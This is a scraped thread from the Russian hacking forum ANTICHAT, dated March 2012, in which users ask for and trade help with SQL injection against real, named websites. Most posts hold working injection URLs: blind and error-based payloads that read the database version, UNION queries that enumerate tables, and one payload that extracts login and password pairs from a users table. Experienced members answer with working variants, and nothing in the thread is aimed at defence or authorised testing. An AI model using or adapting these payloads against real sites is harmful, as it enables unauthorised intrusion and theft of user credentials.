ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

23.03.2012, 16:07
|
|
Guest
Сообщений: n/a
Провел на форуме: 379
Репутация:
0
|
|
*okay.jpg*
сайт в локалке, зеркала в интернеты вроде бы нету(
http://test/continue_testing/?action=3&session=2825&answer=12&question=1
ERROR: DB Error: no such table
ERROR: DB Error: no such table
Невозможно выполнить вставку в таблицу результатов
INSERT INTO results_temp (session_id, quest_id, ans_id, start_time)
SELECT 2825, tq.quest_id, ta.id, '2012-03-23 12:55:38'
FROM tmp_answers_2825 as ta, tmp_quest_2825 as tq
WHERE tq.virtual_id=1 AND ta.virtual_id=12
2825 - номер сессии берется из адресной строки - и записывается во все места в запросе - 2825, tmp_answers_2825, p_quest_2825
номер сессии, при которой запрос выполнится тоже известен - 28275
tq.virtual_id=1 и ta.virtual_id=12 - тоже берется гетом
возможность просмотреть результат вывода точно есть по ячейке start_time
проверки входных данных нету (&question=1 AND 1=1 и в таком стиле выполняются)
есть идеи?
|
|
|
|

23.03.2012, 19:02
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
помогите разкрутить, чёт невыходит
http://www.fanfics.ru/read.php?id=3&chapter=-616%27
|
|
|
|

23.03.2012, 20:16
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от qaz
qaz said:
помогите разкрутить, чёт невыходит
http://www.fanfics.ru/read.php?id=3&chapter=-616%27
Как один из вариантов (Blind):
http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version( ),1,1)=5)and'1 - TRUE
http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version( ),1,1)=4)and'1 - FALSE
Ну и ErrorBased можно:
http://www.fanfics.ru/read.php?id=45564&chapter=0'and(extractvalue(1,con cat(0x3a,version())))and'
Справа видим:
Сообщение от None
SotMarketERROR: 1105 - XPATH syntax error: ':
5.1.45'
|
|
|

23.03.2012, 21:18
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
Сообщение от None
http://www.zoo-friend.ru/?m=292&action=show_item&id=-3020%27+or+1+group+by+%28select+1+from%28select+co unt%28*%29,concat%28%28select+concat_ws%280x3a,log in,password%29+from+users+limit+0,1%29,0x00,floor% 28rand%280%29*2%29%29x+from+information_schema.tab les+group+by+x%29a%29+or+1--+
выводит Subquery returns more than 1 row
как сделать чтобы вывело данные?
|
|
|
|

23.03.2012, 23:10
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от qaz
qaz said:
выводит Subquery returns more than 1 row
как сделать чтобы вывело данные?
А зачем?
Там можно без ErrorBased обойтись.
http://www.zoo-friend.ru/?m=292&action=show_item&id=3020'+and+user()=databa se()+union+select+1,2,3,4,5,6,7,version(),9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%20a
|
|
|

24.03.2012, 17:42
|
|
Guest
Сообщений: n/a
Провел на форуме: 13805
Репутация:
0
|
|
Покажите пожалуйста сайт для примера на котором есть слепая sql-inj и выведите информпцию к примеру version.Это мне для треннировки надо,чтоб я понял.
|
|
|
|

24.03.2012, 20:30
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
|
|
|
|

24.03.2012, 20:35
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Сообщение от qaz
qaz said:
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
Можешь использовать как блинд.
|
|
|

24.03.2012, 21:18
|
|
Guest
Сообщений: n/a
Провел на форуме: 102354
Репутация:
267
|
|
Сообщение от qaz
qaz said:
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
http://venec.ulstu.ru/lib/go.php?id=2151-9999999.9+union+select+1,2,3,4,5,6,7,8,9,12313212, 11,12,13,14,15,16,17,18,19,20,21,22--+
Только не вывел ничего(
|
|
|
|

24.03.2012, 21:27
|
|
Guest
Сообщений: n/a
Провел на форуме: 344922
Репутация:
75
|
|
блин,
а тут http://www.jewish.donetsk.ua/stat.php?topic=news&page=74&id=1404+limit+0,0+unio n+select+1,2,3,4,table_name,6,7,8,9,10,11+from+inf ormation_schema.tables--+
чего таблици не выводит?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|